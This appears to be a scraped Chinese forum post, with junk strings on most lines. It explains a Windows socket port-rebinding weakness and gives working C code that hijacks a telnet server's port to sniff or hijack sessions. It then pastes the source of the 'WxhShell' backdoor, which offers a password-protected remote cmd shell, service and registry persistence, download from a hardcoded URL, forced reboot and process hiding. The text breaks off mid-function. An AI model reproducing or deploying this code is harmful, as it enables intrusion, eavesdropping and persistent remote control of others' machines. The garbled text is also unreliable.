在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
^,u0kMG5l s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
z@;]Hy ,K9\;{C saddr.sin_family = AF_INET;
3D_Ky Z~M+ XndGe=O saddr.sin_addr.s_addr = htonl(INADDR_ANY);
>2h|$6iWP 8 2qf7` bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
NbOeF7cq+ T'\B17
:* 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
!OWPwBm; 'F%4[3a$\n 这意味着什么?意味着可以进行如下的攻击:
Z|;<:RKWY _svEPHU 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
h 'VN& T, ?_mcg8A@@* 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
_Gs*4: uD4=1g6[s 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
!`5[(lm pRI<L' 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
@P=St\;VP @sQ^6FK0G 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
+Qy*s1fit ~3byAL 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
0#(K}9T) uC\FW6K=m 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
#oRm-yDr )E;+C2G #include
XMhDx #include
Y[%1?CREP #include
3TUW+#[Gu #include
]jbQou@ DWORD WINAPI ClientThread(LPVOID lpParam);
[MSLVTR int main()
9$,x^Qx {
$r`K4g WORD wVersionRequested;
kN3 T/96 DWORD ret;
tP; &$y.8 WSADATA wsaData;
[ZwZGAP BOOL val;
yMdEH-?/ SOCKADDR_IN saddr;
hZGoiWC SOCKADDR_IN scaddr;
d:/8P985 int err;
W: Rs 0O SOCKET s;
.G}E SOCKET sc;
D|8vS8p int caddsize;
y,qP$5xiq HANDLE mt;
fR_
jYP1 DWORD tid;
_&S?uz m wVersionRequested = MAKEWORD( 2, 2 );
;>^oe:@ err = WSAStartup( wVersionRequested, &wsaData );
R=M"g|U6 if ( err != 0 ) {
0kN;SSX! printf("error!WSAStartup failed!\n");
JA W}]:jC return -1;
blxAy }
.G[y^w)w} saddr.sin_family = AF_INET;
,#3}TDC kp3(/`xP //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
y*2R#jTA /dTy%hZC} saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
gfE<XrG saddr.sin_port = htons(23);
(;u tiupW if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
d,=Kv {
/lAB printf("error!socket failed!\n");
?pgdj|"a return -1;
=`2nv0%2 }
CU=}]Y val = TRUE;
P.*J'q 28 //SO_REUSEADDR选项就是可以实现端口重绑定的
+|.}oL^}G if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
!_GY\@} {
}* iag\ printf("error!setsockopt failed!\n");
?wE@9g A return -1;
\m-fLX }
~~:w^(s9 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
a%*l]S0z" //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
~ILig}I //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
;9r
Z{'i+| AH`n if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
@rs(`4QEh {
ZJ(/cD ret=GetLastError();
Z=%+U _, printf("error!bind failed!\n");
?f v?6r return -1;
xGbr>OqkTX }
h&4ufx6 listen(s,2);
v +-f
pl& while(1)
M0!;{1 {
+3.Ik,Z}zq caddsize = sizeof(scaddr);
N[4v6GS //接受连接请求
\~xI#S@ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
kg[u@LgvoN if(sc!=INVALID_SOCKET)
Ke[doQ#c {
dDH+`;$. mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
F\1nc"K/( if(mt==NULL)
y7SOz'd {
:0o
$qz2 printf("Thread Creat Failed!\n");
h"VQFqQy break;
Tk s;,C }
{9TWPB/> }
AoHA+>&U CloseHandle(mt);
5zJkPki }
VlW#_. closesocket(s);
3_=~7B)
8 WSACleanup();
{ZFa
+ return 0;
>Bp%~8f }
xO'I*) DWORD WINAPI ClientThread(LPVOID lpParam)
~45u
a {
GZT}aMMSJ SOCKET ss = (SOCKET)lpParam;
}C>Q SOCKET sc;
m1_?xU unsigned char buf[4096];
N_<sCRd]9 SOCKADDR_IN saddr;
P8NKpO\ long num;
>JT{~SRB|Y DWORD val;
>4TJH
lB}8 DWORD ret;
FzmCS@yA //如果是隐藏端口应用的话,可以在此处加一些判断
5A 1oZ+C# //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
RsBo\#` saddr.sin_family = AF_INET;
EQPZV
K/ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
y8: 0VZox saddr.sin_port = htons(23);
Okk[}G) if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
|)6(_7e9 {
|Hn[XRsf printf("error!socket failed!\n");
q!W~>c! return -1;
dsDoPo0! }
q3Umqvl)oe val = 100;
BOJh-(>I if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~Wu Elns {
vl$! To9R" ret = GetLastError();
Wm:3_C +j return -1;
_dqjRhu }
Ku LZg if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
wo2^,Y2z+ {
g$VcT\X ret = GetLastError();
cJA0$)JP& return -1;
x( w <U1 }
lp[3z&u if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
ub6\m=Y7 {
($(6]?J(?7 printf("error!socket connect failed!\n");
l^xkXj closesocket(sc);
qGkrG38K closesocket(ss);
_yjM_ALjo return -1;
L*tXy>&b. }
U[d/` while(1)
FcIH<_r {
]6OrL
TmP //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
h7Jo_L7 //如果是嗅探内容的话,可以再此处进行内容分析和记录
T~$ePVk>L //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
IcL3.(!]l num = recv(ss,buf,4096,0);
Wy#`*h, if(num>0)
AX**q$'R send(sc,buf,num,0);
;]fpdu{ else if(num==0)
hgj#VY$B break;
j>&n5? num = recv(sc,buf,4096,0);
567ot|cc if(num>0)
5!#"8|oY send(ss,buf,num,0);
el!Bi>b9c! else if(num==0)
E E?v~6"& break;
A`(p6 H"s }
bI[!y#_z4 closesocket(ss);
N-^\X3X closesocket(sc);
V.WfP*~NJ return 0 ;
/6{`6(p }
<6/XE@" 6uDA{[OH f<SSg*A; ==========================================================
x+B~ t4A X1<)B]y 下边附上一个代码,,WXhSHELL
Y'fI4 +lJuF/sS8m ==========================================================
37p0*%a": $ajw]2kx #include "stdafx.h"
B0p>' O2 y NV$IN% #include <stdio.h>
?Z4&j'z< #include <string.h>
PL~k
`L #include <windows.h>
>&^w\"' #include <winsock2.h>
QZ{&7mc> #include <winsvc.h>
NJqALm!( #include <urlmon.h>
hPr #!#V!^ o #pragma comment (lib, "Ws2_32.lib")
6?*iIA$b #pragma comment (lib, "urlmon.lib")
]p'Qk N["c*=x #define MAX_USER 100 // 最大客户端连接数
t{~"vD9Am #define BUF_SOCK 200 // sock buffer
5YS`v#+ #define KEY_BUFF 255 // 输入 buffer
1\YX| v{
C]\8 #define REBOOT 0 // 重启
qjR;c&
q R #define SHUTDOWN 1 // 关机
8e>;E I.x0$ac7 #define DEF_PORT 5000 // 监听端口
~$r^Ur!E\ W<!q>8Xn? #define REG_LEN 16 // 注册表键长度
EoU}@MjM~ #define SVC_LEN 80 // NT服务名长度
L*FmJ{Yf sbK0OA // 从dll定义API
ccD+o$7LT typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
$L</{bXW typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
YD@V2gK typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
tB(Q-c typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
@1n0<V/ VPN@q<BV // wxhshell配置信息
@2$PU{dH struct WSCFG {
]?``*{Zqy int ws_port; // 监听端口
;k
b^mJE char ws_passstr[REG_LEN]; // 口令
ls*^3^O int ws_autoins; // 安装标记, 1=yes 0=no
zN5i}U=|r char ws_regname[REG_LEN]; // 注册表键名
e}[$ = char ws_svcname[REG_LEN]; // 服务名
nt;A7pI` char ws_svcdisp[SVC_LEN]; // 服务显示名
}QJE9;<e char ws_svcdesc[SVC_LEN]; // 服务描述信息
Slv}6at5 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
AL|fL int ws_downexe; // 下载执行标记, 1=yes 0=no
Fg#*rzA char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
1MB char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Fi5,y;]R $,i:#KT` };
K:'pK1zy EVq<gGy // default Wxhshell configuration
?rBj{]= struct WSCFG wscfg={DEF_PORT,
=Rb, `% "xuhuanlingzhe",
-^#Ix;% 1,
M8juab%y "Wxhshell",
G Q8I |E "Wxhshell",
Z?nMt "WxhShell Service",
o{-PT' "Wrsky Windows CmdShell Service",
/c'#+!19 "Please Input Your Password: ",
0w+hf3K+: 1,
c"O\fX "
http://www.wrsky.com/wxhshell.exe",
k9^P#l@p "Wxhshell.exe"
$%1[<}< };
Q8:u 1$} PI?-gc?[ // 消息定义模块
JC =Bxv char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
{ReAl_Cm char *msg_ws_prompt="\n\r? for help\n\r#>";
:hMuxHr char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
/ _}v|E0 char *msg_ws_ext="\n\rExit.";
<[~x]- char *msg_ws_end="\n\rQuit.";
W;KHLHp- char *msg_ws_boot="\n\rReboot...";
$wN'mY char *msg_ws_poff="\n\rShutdown...";
d+&V^qLJ char *msg_ws_down="\n\rSave to ";
(5yg\3Jvp "sg$[)I3n char *msg_ws_err="\n\rErr!";
Opjt? ] char *msg_ws_ok="\n\rOK!";
0.@/I}R[ H[>_LYZ8 char ExeFile[MAX_PATH];
-CL7^ int nUser = 0;
'|FM|0~-J HANDLE handles[MAX_USER];
MH !CzV& int OsIsNt;
.7)A8R7Wt gpw(j0/Fs SERVICE_STATUS serviceStatus;
x(S064 SERVICE_STATUS_HANDLE hServiceStatusHandle;
/@wm?ft6Gk /au\OBUge // 函数声明
cOUO_xp( int Install(void);
hlUF9} int Uninstall(void);
<M$hj6.tn int DownloadFile(char *sURL, SOCKET wsh);
QT|m N int Boot(int flag);
e9%6+9Y void HideProc(void);
K/%aoTO} int GetOsVer(void);
QGshc int Wxhshell(SOCKET wsl);
QGLm4 Wl9 void TalkWithClient(void *cs);
KO5Q;H int CmdShell(SOCKET sock);
;^rZ"2U
l int StartFromService(void);
CiMy_`H int StartWxhshell(LPSTR lpCmdLine);
]AHUo;(f% x &9I2" VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
<c\aZ9+V VOID WINAPI NTServiceHandler( DWORD fdwControl );
S>"dUM s#d# *pgzh // 数据结构和表定义
5X`.2q=d SERVICE_TABLE_ENTRY DispatchTable[] =
n:#ji|wM {
Xp{gh@#dr {wscfg.ws_svcname, NTServiceMain},
y!v $5wi {NULL, NULL}
gH_r'j };
(O<lVz@8 G+%ZN // 自我安装
hG
]j m int Install(void)
|Pj _L`G {
Y/$SriC_+' char svExeFile[MAX_PATH];
_8S).* HKEY key;
Jhj]rsGk strcpy(svExeFile,ExeFile);
k~q[qKb8y: -_4! id // 如果是win9x系统,修改注册表设为自启动
aoJ&< vl3 if(!OsIsNt) {
.4^Paxz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
8wy"m=>=b} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
1:&$0jU&U RegCloseKey(key);
Br yMq ! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
}Ns_RS$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
db4&?55Q RegCloseKey(key);
9Q.j
< return 0;
:JN3@NsK }
/NkZ;<uxJ }
~P/G^cV3s }
Yb6\+}th else {
ZO;]Zt] v$mA7|(t! // 如果是NT以上系统,安装为系统服务
5S7Z]DXiT8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
CY7REF if (schSCManager!=0)
M 0"feq {
lO) B/N& SC_HANDLE schService = CreateService
m#S ZI} (
~]yqJYiid^ schSCManager,
+L49
pv5 wscfg.ws_svcname,
1/fvk wscfg.ws_svcdisp,
d@l;dos), SERVICE_ALL_ACCESS,
CjST*(,b SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
<y'ttxeS SERVICE_AUTO_START,
Fj&vWj`* SERVICE_ERROR_NORMAL,
%(e=Q^= svExeFile,
_ Po9pZ NULL,
HwGtLeB" NULL,
jxoEOEA NULL,
A9R}74e4g NULL,
3n/L;T,X NULL
g_x<+3a );
'+eP%Y[W% if (schService!=0)
h]=chz {
)l"0:1I g CloseServiceHandle(schService);
S4(IYnwN CloseServiceHandle(schSCManager);
V*TG%V - strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
b,@:eVQ7 strcat(svExeFile,wscfg.ws_svcname);
2`},;i~[ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
awawq9)Y RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
O@$hG8: RegCloseKey(key);
3gM{lS}h# return 0;
qJK^i.e }
2cDC6rul }
Wu}Co CloseServiceHandle(schSCManager);
"E8!{ }
LNg1q1P3 }
K)14v;@ <AIsNqr return 1;
&B.r&K& }
MVj@0W33m Iq5F^rH`[ // 自我卸载
U-k;kmaj int Uninstall(void)
|'J3"am' {
i3~!ofTb HKEY key;
iIT<{m&` "2h#inS if(!OsIsNt) {
O3_Mrn(R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
yO($KL+ RegDeleteValue(key,wscfg.ws_regname);
Z5U~g? RegCloseKey(key);
V|D;7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
nJ? C 4\#3 RegDeleteValue(key,wscfg.ws_regname);
>YW>=5_ RegCloseKey(key);
oO|^ [b# return 0;
Q,4F=b }
m=K XMX }
^w HMKC }
WDX?|q9rCt else {
;e{2?}#8& kj8zWG4KH SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
q[#\qT&QU if (schSCManager!=0)
u1"e+4f {
9@j~1G%^ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
i" )_M|
if (schService!=0)
l?~ci
;lG {
lz*PNT{E if(DeleteService(schService)!=0) {
EW!$D CloseServiceHandle(schService);
AVJk CloseServiceHandle(schSCManager);
tL5Xfd?u return 0;
V?"^Ff3m! }
ZJ4"QsF CloseServiceHandle(schService);
A/QVotcU }
YOY+z\Q CloseServiceHandle(schSCManager);
Cam}:'a/` }
V":BAn }
70NHU;&N A`r9"([-A return 1;
Ao\Vh\rQkq }
8x{vgx @M ^DH*@M // 从指定url下载文件
q5A+%# int DownloadFile(char *sURL, SOCKET wsh)
ELPJ}moWZ {
e%P;Jj476 HRESULT hr;
{,
|"Rpd char seps[]= "/";
`~}7k)F( char *token;
X=hgLK^3<, char *file;
8 N` $7^^ char myURL[MAX_PATH];
*"5a5.`%, char myFILE[MAX_PATH];
`%Ghtm * y"hM6JI strcpy(myURL,sURL);
MT5A%|H e token=strtok(myURL,seps);
d{he while(token!=NULL)
EH:1Z*|Z{\ {
q^cF D file=token;
C0W~Tk\C2 token=strtok(NULL,seps);
&SM$oy#? }
^M9oTNk2 P=@lkF!\# GetCurrentDirectory(MAX_PATH,myFILE);
w(U/(C7R strcat(myFILE, "\\");
D6]$P%t9 strcat(myFILE, file);
D7.P send(wsh,myFILE,strlen(myFILE),0);
pxbNeqK@p send(wsh,"...",3,0);
hK"=~\, hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
lEDHx[q if(hr==S_OK)
IX(yajc[~M return 0;
=,
0a3D6b else
9e&#;6l return 1;
F:g{rm[ :2My|3H\ }
z]YhQIU4n8 ob7_dWAG // 系统电源模块
AN>`M?EQ int Boot(int flag)
B#MW`7c {
>2:S v1T HANDLE hToken;
c 2@@Rd~M TOKEN_PRIVILEGES tkp;
##_Za6/n S=g-&lK if(OsIsNt) {
OgS8.wX OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
of`]LU: LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
"6dbRo5% tkp.PrivilegeCount = 1;
Zz-;jkX) tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
@e,Zmx AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
O}-7 V5 if(flag==REBOOT) {
{|h"/ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Qzhnob#C9 return 0;
-X[[
OR9+ }
DRoxw24 else {
iq:[+ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
48Lmy<}* return 0;
(3h*sd5ly }
}Yl=lcvw }
E?mp6R]}% else {
Q75^7Ga_ if(flag==REBOOT) {
?<?C*W_ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
KUut C
: return 0;
+I n"OR% }
g)A0PvEu else {
fB96Q if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
mv.I.EL return 0;
RG3G},Q }
Q$0%~`t }
%m) h1/l 3x0wk9lND return 1;
yTt (fn:; }
->&VbR) ~k0)+D} // win9x进程隐藏模块
*F*fH>?C# void HideProc(void)
0|!<|N< {
B9DxV>mr\r J_|}Xd)~t6 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
{\/nUbo[ if ( hKernel != NULL )
^6oqq[$ {
s~ZFVi-i pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
!#I/be] ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
&n.uNe FreeLibrary(hKernel);
5{0>7c|. }
25n(&NV 'F?Znd2L return;
!s*''v* }
0r ;
nz]' FqxOHovE // 获取操作系统版本
1GE%5 int GetOsVer(void)
nj0AO0 {
k3[h'.ps OSVERSIONINFO winfo;
F` 5/9?;| winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
llfiNEK5; GetVersionEx(&winfo);
Z_ gVYa if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
(+8xUc(w return 1;
<lmJa# else
So*Wk " return 0;
@1&;R }
Fg\| e% \e8*vos // 客户端句柄模块
s]vJUC,s int Wxhshell(SOCKET wsl)
Sje0:;;| {
HL}~W}!j SOCKET wsh;
%
r Y8 struct sockaddr_in client;
\seG2vw$ DWORD myID;
Rfc&OV %Fg8l{H3 while(nUser<MAX_USER)
,e FQ}&^A {
P"uHtHK int nSize=sizeof(client);
8H#c4%by) wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Owpg]p yVD if(wsh==INVALID_SOCKET) return 1;
,PMb9O\B B/D\gjb handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
E}' d,v#Z{ if(handles[nUser]==0)
n~ >h4=h closesocket(wsh);
+F~0\#d else
&<V_[Wh" nUser++;
T[XP\!z]B! }
\_Kt6= WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
?hJsN bjPbl2K return 0;
-V
u/TT0 }
vMX6Bg8 dHq )vs,L // 关闭 socket
e9`uD|KAS| void CloseIt(SOCKET wsh)
wvmg)4, {
3hXmYz( closesocket(wsh);
b;J0'o^G| nUser--;
.)@tXH=}+ ExitThread(0);
n*m"L|:ff }
}K/}(zuy1Y i$JG^6,O // 客户端请求句柄
a][pTC\ rb void TalkWithClient(void *cs)
W-!Bl&jF[ {
;*-@OLT_K mbX)'. +L SOCKET wsh=(SOCKET)cs;
E/7vIg
F char pwd[SVC_LEN];
qbU1qF/ char cmd[KEY_BUFF];
j[/SXF\= char chr[1];
~njbLUB int i,j;
qHR^0& Cl9SPz while (nUser < MAX_USER) {
RZ|HwYG 14rVb2^ if(wscfg.ws_passstr) {
.:Bwa if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
zyZok*s //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
"37@Zt //ZeroMemory(pwd,KEY_BUFF);
6A$_&? i=0;
gR;8ht(pd( while(i<SVC_LEN) {
uspkn1- ;c X^8;F0 // 设置超时
Sj0 ucnuHi fd_set FdRead;
<E[HlL struct timeval TimeOut;
^%5~; FD_ZERO(&FdRead);
J+@MzkpK FD_SET(wsh,&FdRead);
i.&Kpw9;m TimeOut.tv_sec=8;
XSp x''l TimeOut.tv_usec=0;
jom}_ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
GSGyF if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
I mPu} [%7;f|p? if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
NMl ?Y uEv pwd
=chr[0]; m@G<ZCMZ
if(chr[0]==0xd || chr[0]==0xa) { FDVI>HK @
pwd=0; k=T-L
break; N753
} &e-#|p#v
i++; Z6IJ o%s
} ]_ejDN\>{V
cuQ7kECV
// 如果是非法用户,关闭 socket 29a_ZU7e6
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hJw
|@V
} FQk_#BkK
j<ABO")v
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %tzN@
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s;B
j7]
?qg^WDs$
while(1) { [y|^P\D
T_@[k
ZeroMemory(cmd,KEY_BUFF); p.rdSv(8'
#~H%[s a
// 自动支持客户端 telnet标准 }uF[Ra
j=0; dThR)Z'=
while(j<KEY_BUFF) { &'5@azU
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t} *l?$`
cmd[j]=chr[0]; JrCf,?L^
if(chr[0]==0xa || chr[0]==0xd) { yu`KzIU
cmd[j]=0; gp~yt0AU
break; v8=?HUDd
} ~\IF9!
j++; $ \Q<K@{
} /h}P Eu3y
I.^X 2
// 下载文件 pqyWv;
if(strstr(cmd,"http://")) { aBXYri
send(wsh,msg_ws_down,strlen(msg_ws_down),0); xm<v"><
if(DownloadFile(cmd,wsh)) l |08
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :y+B;qw
else 6=ZRn gQ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q`.'-iq
} xwTijSj
else { )-bD2YA{
e[x?6He,$
switch(cmd[0]) { A Gv!c($
0+T*$=?
// 帮助 K\RWC4
case '?': { J+ Jt4
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &Ki>h
break; j 0g5<M
} F&=I7i
// 安装 ; cGv] A+
case 'i': { U9 1 &|
if(Install()) k2EHco0BG
send(wsh,msg_ws_err,strlen(msg_ws_err),0); B#FHf
Z
else 9#v-2QY
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F>(qOH.I
break; \hs/D+MCk
} YV5Yx-+3w$
// 卸载 l6iw=b[?
case 'r': { 8)L'rW{q#
if(Uninstall()) EzR%w*F>Q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); R[x7QlA;
else {eEBrJJeB
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); To3^L_v"
break; 3>RcWy;1i
} GwcI0~5
// 显示 wxhshell 所在路径 fuq(
2&^
case 'p': { "6?lQw
e
char svExeFile[MAX_PATH]; >%-Hj6%
strcpy(svExeFile,"\n\r"); !Tv?%? 2l
strcat(svExeFile,ExeFile); CPVzX%=
send(wsh,svExeFile,strlen(svExeFile),0); ZU=,f'bU
break; :W~6F*A
} o^HNF+sm
// 重启 Z}|TW~J=
case 'b': { b<[jaI0
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %dEB /[
if(Boot(REBOOT)) 7=}6H3|&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4HM;K_G%{
else { +T9Q_e*
closesocket(wsh); eymi2-a<
ExitThread(0); ? m&IF<b
} :.Y|I[\E%
break; he"L*p*H
} O/mR9[}
// 关机 r]v&t
case 'd': { &=YSM.G
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yH*hL0mO
if(Boot(SHUTDOWN)) ODm&&W#*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %B@!
else { >^dyQyK
closesocket(wsh); Z+ixRch@-s
ExitThread(0); v2d<o[[C
} ?-pi,O~(p
break; BWWq4mdb{
} zG_p"Z7,
// 获取shell _}D%iJg#
case 's': { KE<kj$
CmdShell(wsh); .Y;b)]@f
closesocket(wsh); yH^f\u0
ExitThread(0); :pRF*^eU
break; +#4]o
}6G
} tv0Ha A
// 退出 T=WNBqKo]
case 'x': { [!EXMpq'
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hR-K@fS%l'
CloseIt(wsh); aR _NyA
break; qP7G[%=v
} xq2V0Jp1u
// 离开 K}x_nW
case 'q': { _3/ec]1
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Jm4#V~w
closesocket(wsh); 5k]XQxc6_
WSACleanup(); w!\3ICB
exit(1); TXjloGv^
break; 'TL2%T/)t
} 9e!vA6Fx
} -IadHX}]t
} BWh}^3?l
:}Ok$^5s
// 提示信息 OOok hZd`
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /Y,r@D
} F|Q H
} zN%97q_
yG\UW&P
return; 1]T|6N?
} {6h|6.S2
%]!adro~
// shell模块句柄 Pe}PH
I
int CmdShell(SOCKET sock) u^=`%)
{ T?n-x?e
STARTUPINFO si; WWNu:,
ZeroMemory(&si,sizeof(si)); ~h!
13!
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GX
}q9
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /4*W DiH
PROCESS_INFORMATION ProcessInfo; #jBN?Z#
char cmdline[]="cmd"; :=*}htP4C
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KVN"XqE4
return 0; [[WF0q
} !;v.>.lw
OUI6
ax\[
// 自身启动模式 ~EEs}i
int StartFromService(void) 9#qeFBI
{ "k:=Y7Dx
typedef struct F)SP aC4
{ CQgcC-)ns]
DWORD ExitStatus; *nRNg.i3D
DWORD PebBaseAddress; s5&=Bsv
DWORD AffinityMask; m2xBS!fm
DWORD BasePriority; io.]'">
